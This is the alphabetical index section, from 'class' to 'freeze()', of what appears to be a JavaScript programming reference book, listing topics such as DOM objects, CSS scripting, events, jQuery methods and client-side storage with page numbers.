class members, in strongly-typed object-oriented languages, 205
classes, 30, 199–246
(see also modules; objects)
augmenting by adding methods to prototype, 208
built-in, automatically predefined in all windows, 359
constructors, 201
and class identity, 203
constructor property, 203
defining for CSS properties, 417
defining, example, 8
defining, multiple windows and, 359
determining class of an object, 210–215
duck-typing, 213
using constructor name as class identifier, 211
using constructor property, 211
using instanceof operator, 210
in ECMAScript 5, 238
defining immutable classes, 239–241
encapsulating object state, 241
making properties nonenumerable, 238
preventing class extensions, 242
property descriptors, 244–246
subclasses, 243
getting and setting CSS classes, 532
getting class of an object, 136
instanceof operator, 75
Java
instantiating, 291
querying and setting static fields in Rhino, 291
Java-style, in JavaScript, 205–208
defining complex class, 206
features not supported in JavaScript, 208
function defining simple classes, 205
object-oriented programming with, 215–228
borrowing methods, 224
comparison methods, 221–224
constructor overloading and factory methods, 227
enumerated types (example), 217–219
private state, 226
Set class (example), 215–217
standard conversion methods, 219
partial class hierarchy of document nodes, 363
prototypes and, 200
scripting CSS classes, 437–440
subclasses, 228
class hierarchies and abstract classes, 234–238
composition versus subclassing, 233
constructor and method chaining, 231–233
defining, 229
classList property, 438, 533
approximating functionality, example of, 438–440
Element object, 903
className property, 308, 368, 376, 438–440
Element object, 308, 903
clear( ) method
ConsoleCommandLine object, 884
Storage object, 988
clearData( ), DataTransfer object, 889
clearInterval( ) function, 297
clearInterval( ) method, 342
Window object, 1004
WorkerGlobalScope object, 1010
clearQueue( ) method, jQuery, 558
clearRect( ), CanvasRenderingContext2D, 645, 874
clearTimeout( ) function, 297
clearTimeout( ) method
Window object, 1005
WorkerGlobalScope object, 1010
clearWatch( ), Geolocation object, 933
click events, 467
detail property, 451
registering event handlers for, 11
registering event handlers on button element for, 459
click( ) method, 540

Element object, 906
client properties, document elements, 395
client sniffing, 330
client-side JavaScript, 8–12, 307
building web applications with, 338
compatibility and interoperability issues, 325
keeping HTML content separate from JavaScript behavior, 458
loan calculator (example), 12–18
scripting HTML document content, 9
security, 333
threading model, 322
client-side storage, 587–612
application storage and offline web applications, 601–607
application cache manifest, 601–603
cache updates, 603–607
cookies, 593–599
storage with cookies, 597–599
IE userData persistence, 599–601
localStorage and sessionStorage properties, 589
security, privacy, and, 589
client-side storage and offline web applications
offline web applications, 608–612
clientHeight and clientWidth properties, Element object, 392, 904
clientLeft and clientTop properties, Element object, 904
ClientRect object, 880
clientX and clientY properties, Event object, 451, 467, 916
clip property, 428
clip( ), CanvasRenderingContext2D, 648, 652, 874
clone( ) method, jQuery, 539
cloneNode( ) method, Node object, 382, 978
clones, structured, 672
close( ) method
distinguishing between Window and Document objects, 356
Document object, 894
EventSource object, 921
generators, 278
MessagePort object, 972
WebSocket object, 714, 1000
Window object, 1005
WorkerGlobalScope object, 682, 1010
closed property, Window objects, 356
CloseEvent object, 881
closePath( ), CanvasRenderingContext2D, 633, 874
closest( ) method, jQuery, 581
closing windows, 356
Closure library, 339
closures, 180–185
access to outer function arguments, 185
combining with property getters and setters, 183
lexical scoping rule for nested functions, 181
private property accessor methods using, 184
property accessor methods using, 226
shorthand functions (expression closures), 282
using in uniqueInteger( ) function (example), 182
code property
DOMException object, 900
FileError object, 924
GeolocationError object, 934
MediaError object, 970
codepoints (Unicode), 36, 481
color stops, 647
colorDepth or pixelDepth property, Screen object, 984
colors
background-color property, 421
gradients in canvas, 646
shadowColor property, 653
specifying for paths in canvas, 868
specifying in canvas, 645
specifying with CSS, 426
colSpan property, TableCell object, 991
Comet, 491
Server-Sent Events with, 515–521
transport mechanisms for, 493
comma operator (,), 85
commands
ConsoleCommandLine objects, 883
text editing, 410
comments, 4
Comment node, 881
conditional, 331
createComment( ), Document object, 382
creating Comment node, 894

CSS handling of, 414
JavaScript code in URLs, 315
styles of, 23
compareDocumentPosition( ), Node object, 978
comparison methods, implementation in classes, 221–224
compareTo( ) method, 222
equals( ) method, 221
comparison operators, 62, 73, 223
comparisons
objects, 45
primitive values, 44
compatibility and interoperability, 325–332
browser testing, 330
compatibility libraries, 328
conditional comments in Internet Explorer, 331
feature testing, 329
graded browser support, 329
quirks mode and standards mode, 330
compatMode, Document object, 330, 892
complete property, Image object, 555, 941
compositing in canvas, 657–660, 869
locally rather than globally, 659
composition
subclassing versus, 233
using with partial application of functions, 196
computed styles, 416, 532
querying, 436–437, 436
concat( ) method
Array object, 150, 724
String object, 839
concatenating strings, 38
conditional comments in Internet Explorer, 331
conditional operator (?:), 82
conditional statements, 87, 92
in array comprehensions, 281
else if, 94
if, 92
switch, 95
configurable attribute (properties), 116, 131
deletion of properties, 124
extensible attribute used with, 137
confirm( ) method, Window object, 348, 1005
console API, 3
Console object, 882
methods, 882
console tools, 3
console.log( ) function, 686
ConsoleCommandLine object, 883
const keyword, 269
constants
block scope and use of let keyword, 269
fields declared final in Java classes, 208
constructor chaining, 228
from subclass to superclass, 231–233
constructor objects, 205
constructor property, 135
identifying class of an object, 211
restrictions in secure subsets, 267
constructors, 163, 782
class, 201
and class identity, 203
constructor property, 203
client-side, in WorkerGlobalScope objects, 684
constructor property of an object, 811
defined, 30
interactive windows and, 359
invoking, 170
object prototypes and, 118
overloading, 227
prototype property, 135
for typed arrays, 997
using name of as class identifier, 211
contains( ) function, 571
contains( ) method, DOMTokenList, 438, 902
content
generating document content at load time, 318
simple client-side script for revealing, 309
content-box model, 425
Content-Type headers
automatically set for request by XMLHttpRequest, 505
HTTP requests, 496
overriding incorrect MIME type in response, 501
contentDocument, IFrame object, 939
contentEditable property, Element object, 409
contents( ) method, jQuery, 581
contentType option, 562
contentWindow, IFrame object, 357, 939
context menus, 467
context property, 947

jQuery objects, 529
contextmenu events, 452, 467
continue statements, 104
semicolon interpreted as line break, 26
contractions and possessives in English language strings, 37
control property, Label object, 962
control structures, 6, 87
(see also statements)
controls attribute, <audio> and <video> elements, 616
controls property, MediaElement object, 966
cookie property, Document object, 405, 892
cookies, 588, 593–599
attributes, lifetime and scope, 594
determining if they are enabled, 594
limitations on size and number of, 597
reading, 596
storage with, 597–599
storing, 595
cookiesEnabled( ), Navigator object, 348
coordinate system transformations, 638–643, 869
Coordinated Universal Time (UTC), 742
coordinates
canvas, 637
images, 655
converting document to viewport coordinates, 396
document and viewport, 390
document, as scrollbar offsets, 394
Geocoordinates object, 933
position of mouse in window coordinates, 451
coords property, Geoposition object, 935
CORS ("Cross-Origin Resource Sharing") headers, 511
cos( ) function, Math object, 794
count( ) method, Console object, 882
create( ) function, 118, 811
adding properties to newly created object, 133
createCaption( ) method, Table object, 990
createComment( ), Document object, 894
createDocument( ), DOMImplementation, 901
createDocumentFragment( ), Document object, 385, 894
createDocumentType( ), DOMImplementation object, 901
createElement( ), Document object, 382, 895
createElementNS( ), Document object, 382, 627, 895
createEvent( ), Document object, 895
createHTMLDocument( ), DOMImplementation object, 901
createImageData( ), CanvasRenderingContext2D, 661, 874
createIndex( ) method, object store, 707
createLinearGradient( ), CanvasRenderingContext2D, 647, 874
createObjectStore( ) method, IndexedDB objects, 707
createObjectURL( ) function, 695
createObjectURL( ), URL object, 998
createPattern( ), CanvasRenderingContext2D, 647, 875
createProcessingInstruction( ), Document object, 895
createRadialGradient( ), CanvasRenderingContext2D, 647, 875
createRange( ) method, 408
createStyleSheet( ), Document object, 442
createTBody( ) method, Table object, 990
createTextNode( ), Document, 382, 895
createTFoot( ) method, Table object, 990
createTHead( ) method, Table object, 990
Crockford, Douglas, 119, 266, 268
cross-document messaging, 336, 676–680, 677
Cross-Document Messaging API, 455
"Cross-Origin Resource Sharing", 335
cross-origin HTTP requests, 496, 511–513
requesting link details with HEAD and CORS, 512
cross-site scripting (XSS), 336
CSS (Cascading Style Sheets), 413–443
box model and positioning details, 424
classes, selecting elements by, 368
color specifications, 646
color, transparency, and translucency, 426
element display and visibility, 426
getting and setting CSS attributes, 532
getting and setting CSS classes, 532

important style properties, 419
overlapping translucent windows (example), 429–431
overview, 414
partial visibility, overflow and clip, 428
positioning elements, 420–423, 472–475
querying computed styles, 436–437
revolutionary new features of, 418
scripting CSS classes, 437–440
scripting inline styles, 431–435
animations, 433–435
scripting stylesheets, 440–443
selectors, 369
styles, specified for Element object, 308
use with JavaScript to style presentations of HTML, 10
web page styled with CSS (example), 417
css( ) method, jQuery, 532
CSSOM-View Module, 390
CSSRule object, 441, 885
cssRules property, CSSStyleSheet, 441, 887
CSSStyleDeclaration object, 886
computed styles, 436
describing styles associated with selector, 441
properties corresponding to shortcut properties, 432
using in scripting inline styles, 431
CSSStyleSheet object, 440, 887
creating, 442
disabled property, 440
inserting and deleting rules, 441
querying, inserting, and deleting stylesheet rules, 441
cssText property
CSSRule object, 885
CSSStyleDeclaration object, 433, 441, 886
ctrlKey property, 451, 467, 485
Event object, 916
currentSrc, MediaElement object, 966
currentStyle property
Element object, 904
in Internet Explorer (IE), 437
currentTarget property, Event object, 543, 916
currentTime, MediaElement object, 618, 967
currying, 188
cursor, opening in IndexedDB, 706
curves, drawing and filling in canvas, 643–645, 874
custom events, using jQuery with, 549
customError, FormValidity object, 932

D

data properties, 129
attributes of, 131
data property
CharacterData object, 381
Comment object, 881
Event object, 453, 481, 544, 919
ImageData object, 688, 942
MessageEvent object, 677, 971
ProcessingInstruction object, 982
Text node, 993
data storage APIs for web applications, 311
data types, 4, 29–56
booleans, 40
classes and, 210
determining class of an object with constructor property, 211
determining class of an object with instanceof, 210
duck-typing, 213
standard conversion methods, 219
using constructor name as class identifier, 211
conversions, 31, 45–52
equality and, 47
explicit, 47–49
object to primitive, 49–52
summary listing of, 45
function argument, 174
Java, conversions in Rhino, 293
jQuery's Ajax data types, 563
methods, 30
mutable and immutable types, 31
numbers, 31–36
binary floating-point and rounding errors, 34
dates and times, 35
floating-point literals, 32
integer literals, 32
objects and arrays, 5
operand and result type, 64
primitive and object types, 29
text, 36–40
escape sequences in string literals, 37
pattern matching, 39
string literals, 36

working with strings, 38
typeof operator, 82
variable declaration and, 52
data( ) method, jQuery, 536, 584
data:// URLs, 926, 927
databases
client-side, 705–713
client-side database functionality in browsers, 588
dataset attributes, 377
using to create image rollovers, 615
dataset property, Element object, 377, 904
DataTransfer object, 454, 475–481, 888
files property, 505, 694
dataTransfer property, Event object, 454, 475, 916
DataView object, 890
methods reading/writing values from ArrayBuffer, 690
Date( ) constructor, 742
datepicker( ) method, 586
dates and time
Date class, 30
toString( ) method, 50
Date object, 742–766
conversions to strings and numbers, 51
getDate( ) method, 746
getDay( ) method, 747
getFullYear( ) method, 747
getHours( ) method, 747
getMilliseconds( ) method, 747
getMinutes( ) method, 748
getMonth( ) method, 748
getSeconds( ) method, 748
getTime( ) method, 748
getTimezoneOffset( ) method, 749
getUTCDate( ) method, 749
getUTCDay( ) method, 750
getUTCFullYear( ) method, 750
getUTCHours( ) method, 750
getUTCMilliseconds( ) method, 750
getUTCMinutes( ) method, 751
getUTCMonth( ) method, 751
getUTCSeconds( ) method, 751
getYear( ) method, 751
methods, 743
now( ) method, 752
parse( ) method, 752
prototype property, 118
seMilliseconds( ) method, 754
setDate( ) method, 753
setFullYear( ) method, 753
setHours( ) method, 754
setMinutes( ) method, 755
setMonth( ) method, 755
setSeconds( ) method, 756
setTime( ) method, 756
setUTCDate( ) method, 757
setUTCFullYear( ) method, 757
setUTCHours( ) method, 758
setUTCMilliseconds( ) method, 758
setUTCMinutes( ) method, 759
setUTCMonth( ) method, 759
setUTCSeconds( ) method, 760
setYear( ) (deprecated), 760
static methods, 745
toDateString( ) method, 760
toGMTString( ) method, 761
toISOString( ) method, 761
toJSON( ) method, 762
toLocaleDateString( ) method, 762
toLocaleString( ) method, 763
toLocaleStringTime( ) method, 763
toString( ) method, 763
toTimeString( ) method, 764
toUTCString( ) method, 764
UTC( ) method, 765
valueOf( ) method, 50, 766
quick tutorial on, 35
serializing Date objects to ISO-formatted date strings, 138
dblclick event, 452, 467
dblclick( ) method, jQuery, 541
debug( ) method, Console object, 882
debugger statements, 110
debugging Worker threads, 686
decimal fractions, binary floating-point representation, 35
declaration statements, 87, 89
var statement, 90
decodeURI( ) function, 766
decodeURIComponent( ) function, 343, 595, 767
dedicated workers, 684
default actions of events, 447
defaultCharset, Document object, 892
defaultChecked property
Checkbox object, 402

Download from Wow! eBook <www.wowebook.com>

Input object, 943
defaultPlaybackRate, MediaElement object, 618, 967
defaultPrevented, Event object, 464, 916
defaultSelected, Option object, 980
defaultValue property
Input object, 943
Output object, 981
TextArea object, 994
defaultView property, Document object, 892
defer property, Script object, 985
deferred execution of scripts, 319
__defineGetter__( ) and __defineSetter__( ) methods, 134, 375
defineProperties( ) function, 812
creating or modifying multiple properties, 132
defineProperty( ) function, 101, 134, 813
creating new property or setting attributes, 132
defining configurable, read-only properties, 124
making length property of array read-only, 145
making properties nonenumerable, 238
delay( ) method, jQuery, 557
delegate( ) method, jQuery, 549
delete operator, 62, 84
deleting array elements, 146
deleting configurable properties of global object, 125
deleting properties, 124
removing XML attributes and tags in E4X, 286
side effects, 88
deleteCaption( ) method, Table object, 991
deleteCell( ) method, TableRow object, 992
deleteData( ) method
Comment node, 881
Text node, 993
deleteRow( ) method
Table object, 991
TableSection object, 992
deleteRule( ), CSSStyleSheet object, 441, 888
deleteTFoot( ) method, Table object, 991
deleteTHead( ) method, Table object, 991
deletion methods in jQuery, 953
deltaMode property, Event object, 920
deltaX, deltaY, and deltaZ properties, Event object, 453, 471, 920
denial-of-service attacks, 338
dequeue( ) method, jQuery, 558
descendant operator (. .), 285
designMode, Document object, 409, 893
destructuring assignment, 272
using with Iterator ( ) function in for/in loop, 277
detach( ) method, jQuery, 540
detachEvent( ) method, 459, 923
detail property, Event object, 451, 471, 916
device-dependent and -independent events, 448
DHTML (Dynamic HTML), 310
dialog boxes, 348–351
HTML dialog box displayed with showModalDialog( ), 349
repeated, in cross-site scripting attacks, 337
repeated, in denial-of-service attacks, 338
dialogArguments, Window object, 349, 1002
die( ) method, jQuery, 550
dimensions, canvas, 637
dir property, Document object, 893
dir( ) method
Console object, 882
ConsoleCommandLine object, 884
directives, 110
DirectoryEntry objects, 701
dirxml( ) method
Console object, 882
ConsoleCommandLine object, 884
disabled property
CSSStyleSheet object, 887
FieldSet object, 923
FormControl object, 930
Link object, 963
Option object, 980
Style object, 989
disabling animations in jQuery, 551
dispatchEvent( ), EventTarget object, 922
dispatchFormChange( ), Form object, 929
dispatchFormInput( ), Form object, 929
display property, 426
division by zero, 34
DnD (see drag and drop)
do/while loops, 98
doctype declarations

quirks mode and standards mode, 330
strictness of, 369
doctype property, Document object, 893
Document object, 308, 361, 891–898
addEventListener( ) method, 459
close( ) method, 356
compatMode property, 330
cookie property, 593
parsing, 596
createDocumentFragment( ) method, 385
createElement( ) method, 382
createElementNS( ) method, 382
createStyleSheet( ) method, 442
createTextNode( ) method, 382
designMode property, 409
elementFromPoint( ) method, 393
events, 898
forms property, 398
getElementById( ) method, 352, 364
getElementsByClassName( ) method, 368
getElementsByTagName( ) method, 159, 366
location property, 343
methods, 894–898
open( ) method, 346
parsed HTTP responses available as, 500
properties, 405, 892
queryCommandEnabled( ) method, 410
querySelector( ) method, 370
querySelectorAll( ) method, 370, 440
readyState property, 323, 465
removeEventListener( ) method, 459
same-origin policy applied to properties, 335
styleSheets property, 440, 441
URL property, 343
write( ) method, 318, 324, 346, 406
writeln( ) method, 407
document property, Window object, 308, 1002
document.all[ ] collection, 371
documentElement, Document object, 367, 391, 893
DocumentFragment object, 364, 385, 898
creating, 894
implementing insertAdjacentHTML( ) using innerHTML, 386
querySelector( ) and querySelectorAll( ) methods, 370
using to reverse order of children of a Node, 386
documents, 361–411
altering structure using jQuery, 537–540
associating CSS stylesheet with, 415
attributes of elements, 375–378
creating, inserting, and deleting nodes, 382–387
creating nodes, 382
inserting nodes, 383
removing and replacing nodes, 384
using DocumentFragments, 385
Document properties, 405
editable content, 408–411
document and element geometry and scrolling, 390–396
element content, 378–382
elements as Window object properties, 351
generating content at load time, 318
generating table of contents (example), 387–390
HTML forms, 397–404
JavaScript in web documents, 310
load events, 465–467
loading new, 344
nested HTML documents, 353
origin of, 334, 590
overview of DOM, 362
querying selected text, 407
selecting elements in, 364–371
structure and traversal, 371–375
documents as trees of elements, 372–375
documents as trees of nodes, 371
write( ) method, 406
DocumentType object, 899
Dojo, 338
dojox.secure, 268
Sizzle library, 370
DOM (Document Object Model)
DOM Level 2 Events specification, 325
DOM Level 3 Events specification, 448, 452, 453
key property, 485
proposed method, 920
proposed properties, 919
event cancellation in current Events module draft, 464
implementation of types as classes, 374

overview, 362
textinput event, 481
XML objects and E4X standard, 284
domain property, Document object, 405, 893
domains
domain attribute, cookies, 594
setting, 596
problems with same-origin policy and subdomains, 335
DOMContentLoaded event, 324, 450, 465
DOMException object, 899
DOMImplementation object, 900
DOMMouseScroll objects, 471
DOMSettableTokenList object, 901
DOMTokenList object, 438, 902
drag and drop, 475–481
access to files user drops over element, 505
custom drag source, 476
DataTransfer objects, 888
displaying dropped image files with Blob URLs, 695
drag source events, 476
drag( ) function evoked from mousedown event handler, 468
dragging document elements, 468–471
drop targets, 477
dropping local files into browser for script access, 694
HTML5 drag-and-drop API, 454
list as drop target and drag source (example), 478–481
obtaining files from DnD API and uploading via HTTP request, 508
draggable attribute, 476
drawImage( ), CanvasRenderingContext2D, 655, 875
drawing context objects, 630
dropEffect, DataTransfer object, 476, 888
dropzone attribute, 477
duck-typing, 213
duration property, MediaElement object, 618, 967
duration, animated effects, 551, 956
passing to jQuery effects methods, 552
Dynamic HTML (DHTML), 310

E

E constant (Math), 794
E4X (ECMAScript for XML), 274
introduction to, 283–287
each( ) function, 572
each( ) method, jQuery, 529
easing functions, 556
adding to jQuery, 584
ECMAScript, 2
JavaScript extensions, 265
ECMAScript 5
array methods, 153–157, 159, 529
classes in, 238
defining immutable classes, 239–241
defining nonenumerable properties, 238
encapsulating object state, 241
preventing class extensions, 242
property descriptors, 244–246
subclasses, 243
RegExp literals and object creation, 252
reserved words, 24
ECMAScript for XML (see E4X)
editable content in documents, 408–411
editor components in frameworks, 410
effectAllowed, DataTransfer object, 476, 477, 888
Element class, 364
element expressions in array initializers, 58
Element object, 308, 902–909
attributes property, 378
contentEditable property, 409
dataset property, 377
defining custom methods, 374
event handlers, 909
getAttribute( ) and setAttribute( ) methods, 376, 433
getBoundingClientRect( ) method, 396
hasAttribute( ) method, 377
implementing outerHTML property, using innerHTML, 384
innerHTML property, 379
methods, 906–909
Node objects, 371
offsetLeft and offsetTop properties, 394
offsetParent property, 395
outerHTML property, 379
properties, 903
properties, element-based document traversal API, 372
removeAttribute( ) method, 377
representing <style> and <link> elements, scripting stylesheets, 440

style property, 431
elementFromPoint( ), Document, 393, 895
elements
array, 141
attributes of, 375–378
attributes as Attr nodes, 378
dataset attributes, 377
non-HTML, getting and setting, 376
computed style, 416
content, 378
content as HTML, 379
content as plain text, 380
content as Text nodes, 381
copying with jQuery, 539
deleting using jQuery, 540
display and visibility properties (CSS), 426
document, as Window properties, 351
documents as trees of, 372–375
geometry and scrolling, 390–396
getting and setting content, 534
getting and setting element data, 536
getting and setting geometry, 534
HTML elements and attributes, 910–913
HTML form, 397
inserting and replacing in documents with jQuery, 537
jQuery element methods, 950
media, 965–970
positioning with CSS, 420
querying geometry of, 392
the selected elements in jQuery, 528
selecting document elements, 364
selecting HTML form elements, 398
size, positioning, and overflow, 394
wrapping around other elements, using jQuery, 539
elements property
FieldSet object, 923
Form object, 399, 928
else clauses in nested if statements, 93
else if statements, 94
<embed> elements, 537
embedding JavaScript in HTML, 311–317
event handlers in HTML, 315
JavaScript in URLs, 315
<script> element, 312
script type, 314
scripts in external files, 313
embeds property
Document object, 893
HTMLDocument object, 367
empty statements, 89
empty strings, 36
empty( ) method, jQuery, 540
enableHighAccuracy option, Geolocation methods, 934
encapsulation
object state, in ECMAScript 5, 241
state variables, 226
encodeURI( ) function, 767
encodeURIComponent( ) function, 595, 768
encoding HTTP request body, 502–507
encoding property, Form object, 399
enctype property, Form object, 928
end( ) method
jQuery, 582
TimeRanges object, 996
ended property, MediaElement object, 967
endianness, 690
enumerable attribute (properties), 116, 131
propertyIsEnumerable( ) test, 125
enumerable properties, 101
arrays, enumeration by for/each loop, 274
Object.propertyIsEnumerable( ) method, 822
returning own enumerable property names, 821
enumerated types, 217–219
classes representing cards, 218
comparisons, 223
enumerating properties, 126–128
order of, in for/in loops, 101
eq( ) method, jQuery, 578
equality comparisons
binary floating-point and rounding errors, 35
type conversions and, 47
equality operators (see = (equals sign), under Symbols)
equals( ) method, defining for classes, 221
error property
FileReader object, 925
MediaElement object, 620, 967
Error( ) constructor, 769
error( ) method
Console object, 882
jQuery, 541
ErrorEvent object, 913

errors
Error class, 30, 106
error handlers, similarity to events, 449
Error object, 769–771
javaException property, 293
message property, 771
name property, 771
toString( ) method, 771
handling in Window objects, 351
property access, 123
ES5 (see ECMAScript 5)
escape sequences
in string literals, 37
Unicode, 22
escape( ) function, 771
eval( ) function, 79–81, 772
removal in secure subsets, 267
EvalError object, 774
evaluation expressions, 79–81
eval( ) function, 80
global eval( ), 80
strict eval( ), 81
evaluation order, operators, 66
evaluation, modules, 302
event capturing, 447, 458, 463
Internet Explorer, setCapture( ) for mouse events, 468
jQuery event handlers and, 545
event handlers
advanced event handler registration with jQuery, 544
ApplicationCache object, 860
defined, 10
defining for FileReader, 698, 926
defining for offline web application, 609
defining, onclick handler (example), 10
deregistering with jQuery, 546
Element objects, 909
EventSource object, 921
form and form element, 400
form controls, 931
Form objects, 929
functions for, 320
in HTML, 315
HTTP progress events, 507
HTTP upload progress event, 508
invoking, 460–465
event cancellation, 464
event handler argument, 460
event handler context, 461
event handler scope, 461
event propagation, 463
handler return value, 462
order of invocation, 462
jQuery, 542
mousewheel events, 472–475
onerror property, Window object, 351
properties defined by HTMLElements, 375
properties of Window, Document, and Element objects, 309, 1007
registering (see registering event handlers)
text input elements, 403
WebSocket, 1000
Worker object, 1009
WorkerGlobalScope, 1011
XMLHttpRequest object, 1017
readystatechange events, 499
XMLHttpRequestUpload, 1018
event listeners, 320
(see also event handlers)
same-origin policy, 334
Event object, 542, 914–920
constants defining values of eventPhase property, 914
defaultPrevented property, 464
jQuery, 542
methods, 918
preventDefault( ) method, 464
properties, 915
proposed method, DOM Level 3 specification, 920
proposed properties, DOM Level 3 specification, 919
returnValue property, 464
stopImmediatePropagation( ) method, 465
stopPropagation( ) method, 464
event propagation, 463
cancelling, 464
defined, 447
stopping, 919
event property, Window object, 460, 1002
event type, 445
event-driven JavaScript, 320
event-driven phase of execution, 318
eventPhase property, Event object, 916
constants defining values of, 914
events, 445–489
Ajax in jQuery, 570

categories of, 448
createEvent( ), Document object, 895
default actions associated with, 447
defined, 445
device-independent, 332
document load, 465–467
DOM (Document Object Model), 453
drag and drop, 475–481
ErrorEvent object, 913
event emitters in Node, 297
event objects, 446
event propagation, 447
event target, 446
event type or event name, 445
handling application cache events, 604–607
handling with jQuery, 540–550
advanced event handler registration, 544
custom events, 549
deregistering event handlers, 546
event handler registrations methods, 540
Event object, 542
live events, 549
triggering events, 547
hashchange event, 672
HashChangeEvent object, 935
HTML5, 454
HTTP abort events, 510
HTTP progress events, 507–510
HTTP timeout events, 510
implementing Java event listeners with JavaScript in Rhino, 292
invocation of event handlers, 460–465
jQuery, 955
keyboard, 484–489
legacy event types, 449
media, 620, 968
message, 677, 681, 971, 972
mouse, 467–471
mousewheel, 471–475
overview, 320
page transition, 981
popstate, 982
progress, 983
registering event handlers, 457–460
Server-Sent Events with Comet, 515–521
storage, 592, 988
supported by Document objects, 898
testing if mouse event is over current path in canvas, 662
testing if mouse event is over painted pixel in canvas, 663
text, 481–484
touchscreen and mobile, 456
types of, 448
WebSocket, 713
EventSource object, 515–521, 921
constants defining values of readyState property, 921
emulating with XMLHttpRequest, 517–519
using in simple chat client, 516
EventTarget object, 922
every( ) method, Array object, 154, 725
excanvas.js library, 328
exceptions
handling with try/catch/finally statements, 106
multiple catch clauses, 283
Java, handling as JavaScript exception in Rhino, 293
throwing, 106
thrown by Worker objects, 681
exec( ) method, RegExp objects, 262, 585, 831
execCommand( ), Document object, 410, 895
execution context, 353
event handlers, 461
execution model, Worker threads, 683
execution of JavaScript programs, 317–324
client-side threading model, 322
client-side timeline, 323
event-driven, 320
synchronous, asynchronous, and deferred scripts, 318
exp( ) function, Math object, 794
expires property, data saved with userData, 600
explicit conversions of types, 47–49
ExplorerCanvas project, 630
exponential notation, 32, 48, 804
expression closures, 282
expression statements, 87
expressions, 57
arithmetic, 66–70
+ (addition or string concatenation) operator, 67

bitwise operators, 69
unary arithmetic operators, 68
assignment, 77
assignment with operation, 78
comma operator (,), 85
conditional operator (?:), 82
defined, 5
delete operator, 84
evaluation, 79–81
before for keyword in array comprehensions, 281
function definition, 59, 164, 165
generator, 281
invocation, 61, 167
logical, 75
logical AND (&&) operator, 75
logical NOT (!) operator, 77
logical OR (||) operator, 76
object and array initializers, 58
object creation, 61
operator overview, 62–66
primary, 57
property access, 60, 168
relational, 71
comparison operators, 73
equality and inequality operators, 71
in operator, 74
instanceof operator, 75
statements versus, 6
typeof operator, 82
void operator, 85
extend( ) function, 127, 572
extensibility of objects, 818
extensible attribute, 116, 137
extensions, 269–287
constants and scoped variables, 269
destructuring assignment, 272
E4X (ECMAScript for XML), 283–287
iteration, 274–282
array comprehensions, 280
for/each loop, 274
generator expressions, 281
generators, 277–280
iterators, 274–277
preventing, 810, 821
preventing class extensions in ECMAScript 5, 242
shorthand functions (expression closures), 282

F

Facebook, FBJS secure subset, 269
factory functions
class factory function and method chaining, 231
creating and initializing new object, 200
factory methods, 227
fade effects
fadeIn( ) and fadeOut( ) methods, 551, 552
fadeTo( ), 552
queued, animate( ) method and, 555
fadeout animation (example), 433–435
FALLBACK section, application cache manifest, 603
false and true values, 45
FBJS secure subset, 269
feature testing for browsers, 329
Fibonacci numbers, generator function for, 278
FieldSet object, 923
File API specification, 455
FileEntry objects, 701
FileError object, 924
FileList object, 693
filename property, ErrorEvent object, 913
FileReader object, 924–927
constants defining values of readyState property, 925
event handlers, 926
events tracking progress of asynchronous I/O, 455
events triggered on, 455
methods, 925
properties, 925
reading Blobs, 698
FileReaderSync object, 699, 927
files
as Blobs, 693
File object, 923
local files and XMLHttpRequest, 495
monitoring HTTP upload progress, 508
Node file and filesystem API, 299
uploading with HTTP POST request, 505
files property
DataTransfer object, 478, 694, 889
Input object, 943
filesystems, 700–705
client-side storage by web applications, 588

reading user-selected files with JavaScript, 333
using asynchronous filesystem API, 701
using synchronous filesystem API, 704
working with files in local filesystem, 700
FileUpload elements, value property, 334
FileWriter objects, 701
fill( ), CanvasRenderingContext2D, 633, 875
fillRect( ), CanvasRenderingContext2D, 645, 876
fills
clipped, 652
colors, gradients, and patterns in Canvas, 645–648, 868
fillStyle property, CanvasRenderingContext2D, 635, 871
fillText( ), CanvasRenderingContext2D, 650, 876
filter property (IE), 428
filter( ) method
Array object, 154, 726
jQuery, 540, 579
filtering user input, 482–484
finally clauses (try/catch/finally), 106
find( ) method, jQuery, 580
finite numbers, 784
Firebug extension (Firefox), 3
Firefox, 347
(see also web browsers)
changes to History API in Firefox 4, 673
charCode property, 481
current version, 327
DOMMouseScroll events, 471
ECMAScript 5 array methods, 160
global compositing approach, 659
JavaScript versions and extensions, 265, 270
first( ) and last( ) methods, jQuery, 578
:first-line and :first-letter pseudo-elements (CSS), 370
firstChild and lastChild properties, Node object, 371, 976
firstElementChild, Element object, 373, 904
fixed positioning of elements, 420
fixed-point notation for numbers, 805
flags in regular expressions, 259
Flash plug-ins, scripting, 336
Float32Array class, 996
Float64Array class, 996
floating-point literals, 32
floating-point values, 31
binary floating-point and rounding errors, 34
floor( ) function, Math object, 795
fn prototype object (jQuery), 583
focus events, 401, 450
bubbling focusin and focusout events, 453
event handler registration with jQuery, 541
keyboard focus for document elements, 452
focus( ) method
Element object, 906
Window object, 1005
font property, 416, 869, 871
text in canvas, 650
fontFamily property, 437
fonts
font-size and font-weight, and color style properties, 431
web fonts in CSS, 418
for loops, 98
calling jQuery.each( ) instead, 529
continue statements in, 104
iterating arrays, 146
let keyword used as loop initializer, 270
variables declared with let keyword, 270
for/each loops, 274
in array comprehensions, 281
defined in E4X, iteration through lists of XML tags and attributes, 286
for/in loops, 100
in array comprehensions, 281
continue statements in, 104
enumerating properties, 126–128
extension to work with iterable objects, 274–277
iterating arrays, 147
iterating through methods, fields and properties of Java classes and objects, 292
let keyword in, 270
property enumeration order, 101
using with associative arrays, 121
forEach( ) method, Array object, 148, 153, 726
<form> elements

action, encoding, method, and target attributes, 399
method attribute, 399
setting form-submission attributes of, 375
triggering submit event on, 548
Form object, 927–929
elements property, 399
event handlers, 929
methods, 929
properties, 928
referred to as this.form by form element event handlers, 401
submit( ) and reset( ) methods, 400
form property, 400, 401
FormControl object, 930
Label object, 962
Meter object, 973
Option object, 980
Progress object, 983
form-encoded HTTP requests, 502–507
encoding an object, 502
file upload with POST request, 505
JSON-encoded body, 504
making GET request, 503
making HTTP POST request, 503
multipartform=data requests, 506
XML-encoded body, 504
formAction property
Button object, 864
Input object, 943
format control characters (Unicode), 22
FormControl object, 929
event handlers, 931
methods, 931
properties, 930
FormData object, 506, 931
formEnctype property
Button object, 864
Input object, 943
formMethod property
Button object, 864
Input object, 943
formNoValidate property
Button object, 864
Input object, 943
forms property, Document object, 367, 398, 893
formTarget property
Button object, 865
Input object, 943
FormValidity object, 932
forward( ) method, History object, 345, 936
fractions, binary floating-point representations of, 35
fragment identifiers in URLs, 672
<frame> and <frameset> elements (deprecated), 353
frameElement property, Window object, 357, 1002
frames
inability to close, 356
multiple windows and frames, 353–360
relationships between frames, 356
viewport, 390
frames property, Window object, 357, 1002
frameworks, client-side, 328, 338
freeze( ) function, 137, 814
